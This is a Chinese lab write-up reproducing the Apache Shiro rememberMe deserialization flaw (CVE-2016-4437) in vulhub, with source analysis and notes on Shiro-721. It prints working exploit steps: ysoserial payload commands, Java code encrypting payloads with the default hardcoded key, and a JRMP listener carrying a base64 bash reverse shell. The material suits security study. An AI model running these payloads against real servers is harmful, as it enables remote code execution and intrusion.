Apahce-Shiro反序列化漏洞复现(CVE-2016-4437)

复现环境:vulhub
漏洞原理
Shiro<=1.2.4
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。
在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为
获取rememberMe cookie
base64 decode
解密AES(加密密钥硬编码)
反序列化(未作过滤处理)
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
利用工具——shiro_exploit
https://github.com/insightglacier/Shiro_exploit
注意
通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用WebShell,反序列化漏洞或通过其他媒介时,可能会发生这种情况。
这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,在shell中执行ls > dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。
有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如ls “My Directory” 之类的东西将被解释为ls ‘"My’ ‘Directory"’。
借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。
http://www.jackson-t.ca/runtime-exec-payloads.html
已知密钥时直接利用脚本

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

或者服务器上JRMP监听并反弹shell
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC85OTg4IDA+JjE=}|{base64,-d}|{bash,-i}'
开启指定端口反弹shell(此处为9988)
然后python shiro.py ip:6666

漏洞分析
正常登陆,勾选RememberMe后会发现生成了一条cookie叫rememberMe
在这里插入图片描述CookieRememerMeManger.java
在这里插入图片描述这个cookie是在CookieRememerMeManager处生成的

在这里插入图片描述
可以看到这个类继承了AbstractRememberMeManager类

AbstractRememberMeManager.java
在这里插入图片描述
加密函数
在这里插入图片描述
反推一下可以看到是在这里调用了加密函数,对序列化的principals进行加密

寻找入口
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
关键方法大致是这个onSuccessfulLogin方法
在这里插入图片描述继续跟进,找到序列化,然后加密

在这里插入图片描述
设置cipherkey
在这里插入图片描述
调用处,且发现默认调用AES加解密类,为对称加密
在这里插入图片描述
默认密钥
在这里插入图片描述
解密方法

DefalutSerialize.java
在这里插入图片描述
最终反序列化调用的地方不是ObjectInputStream().readObject,而是调用ClassResolvingObjectInputStream
ClassResolvingObjectInputStream.java
在这里插入图片描述
在这里插入图片描述
参考长亭大佬的paper https://paper.seebug.org/1285/

我们发现原本应该调用 Class.forName(name)的地方被替换成了几个 ClassLoader.loadClass(name),这两种加载类的方式有以下几点区别:
forName默认使用的是当前函数内的 ClassLoader, loadClass的 ClassLoader 是自行指定的
forName类加载完成后默认会自动对 Class 执行 initialize 操作, loadClass仅加载类不执行初始化
forName可以加载任意能找到的 Object Array, loadClass只能加载原生(初始)类型的 Object Array

有一些利用链的终点是 ChainedTransformer,这个类中的有一个关键属性是 Transformer[] iTransformers,Shiro 的反序列化尝试加载这个 Transformer的 Array 时,就会报一个找不到 Class 的错误,从而中断反序列化流程,而这就是 CommonsCollections 的大部分利用链都不可用的关键原因。
CommonsCollections4和 CommonsBeanutils两个利用链由于采用了 TemplatesImpl作为终点,避开了这个限制,才使得这个漏洞在渗透测试中有所应用。

关于检测
许多博客都提过的方法
使用一个空的 SimplePrincipalCollection作为 payload,序列化后使用待检测的秘钥进行加密并发送,秘钥正确和错误的响应表现是不一样的,可以使用这个方法来可靠的枚举 Shiro 当前使用的秘钥。
回显rememberMe=deleteMe代表key错误

Shiro-721 Padding Oracle Attack
利用条件 Shiro<1.4.2
Padding Oracle Attack可以通过密码学的手段在没有KEY的情况下加密密文或者解密密文解密密文

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

生成payload.class
需要已知账号登录获得一个rememberMe Cookie
利用工具https://github.com/longofo/PaddingOracleAttack-Shiro-721

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值